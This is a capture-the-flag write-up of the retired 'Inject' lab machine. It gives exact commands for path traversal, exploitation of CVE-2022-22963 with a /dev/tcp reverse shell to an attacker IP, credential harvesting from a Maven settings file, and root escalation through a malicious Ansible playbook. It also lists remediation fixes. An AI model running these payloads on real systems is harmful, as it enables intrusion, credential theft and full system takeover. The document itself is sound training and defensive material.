Inject
Summary
I discovered a Spring Boot file-upload application on port 8080 whose image-viewer endpoint accepted a raw user-supplied filename with no path validation, allowing unauthenticated traversal to any file on the server. By reading the application's Maven build file through that same flaw, I identified a critically vulnerable Spring Cloud Function version (CVE-2022-22963) and exploited a server-side Spring Expression Language injection at the /functionRouter endpoint to gain remote code execution as the 'frank' service account.
Sensitive credentials for a second user, phil, were found in a plaintext Maven settings file stored in frank's home directory. Authenticated as phil — a member of the 'staff' group — I found that a root-owned cron job periodically executed every Ansible playbook in a directory writable by that group, enabling a trivial one-step privilege escalation to full system control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Service-version and default-script scan against the two open ports.
$ nmap -sV -sC -p 22,8080 $TARGETConfirm the web application and locate the upload and image-view endpoints.
$ curl -s http://$TARGET:8080/Exact commands 2
Traverse out of the image directory and read /etc/passwd to enumerate users.
$ curl -s "http://$TARGET:8080/show_image?img=../../../../../../etc/passwd"Retrieve the Maven build file to identify all third-party dependency versions.
$ curl -s "http://$TARGET:8080/show_image?img=../../../../../../var/www/WebApp/pom.xml"FixValidate and confine the image-viewer filename parameterHigh
Exact commands 1
One-liner to confirm the vulnerable version directly from the server response.
$ curl -s "http://$TARGET:8080/show_image?img=../../../../../../var/www/WebApp/pom.xml" | grep -A2 'spring-cloud-function'Exact commands 2
Start a reverse-shell listener on my machine before sending the exploit.
$ nc -lvnp 4444Replace $ATTACKER_IP with your HTB VPN IP. The SpEL expression is evaluated server-side and spawns the reverse shell.
$ curl -s -X POST "http://$TARGET:8080/functionRouter" -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1"})' --data-raw 'pwn'FixUpgrade Spring Cloud Function to a version that patches CVE-2022-22963Critical
Exact commands 3
From the frank shell — search for configuration and settings files.
$ find /home/frank -name '*.xml' -o -name '*.yml' -o -name '*.yaml' 2>/dev/nullRead the Maven settings file; look for <server> entries containing credentials.
$ cat /home/frank/.m2/settings.xmlRead the user flag (value: <user.txt>).
$ cat /home/frank/user.txtFixRemove cleartext credentials from application and user configuration filesHigh
Exact commands 2
From frank's shell. Password: $PASSWORD
$ su - philConfirm group membership — the 'staff' group is the privilege-escalation vector.
$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)Exact commands 5
Discover all directories writable by the staff group.
$ find / -group staff -writable 2>/dev/nullConfirm the root cron job pointing at /opt/automation/tasks/.
$ cat /etc/crontabWrite the malicious playbook. Wait up to ~1 minute for the cron job to execute it.
$ cat > /opt/automation/tasks/pwn.yml << 'EOF'
- hosts: localhost
tasks:
- name: escalate
ansible.builtin.shell: chmod +s /bin/bash
become: true
EOFInvoke SUID bash after the cron fires; -p preserves the elevated effective UID.
$ /bin/bash -pRead the root flag (value: <root.txt>).
$ cat /root/root.txtFixRemove group-writable permissions from the Ansible automation directoryCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| 8080/tcp | nagios-nsca Nagios NSCA |
Techniques used
- Path Traversal / Local File Inclusion
- Credential discovery in configuration files
- Valid local account reuse
- Cron-executed writable directory abuse
New to these ideas? Learn the concepts in Hack & Learn.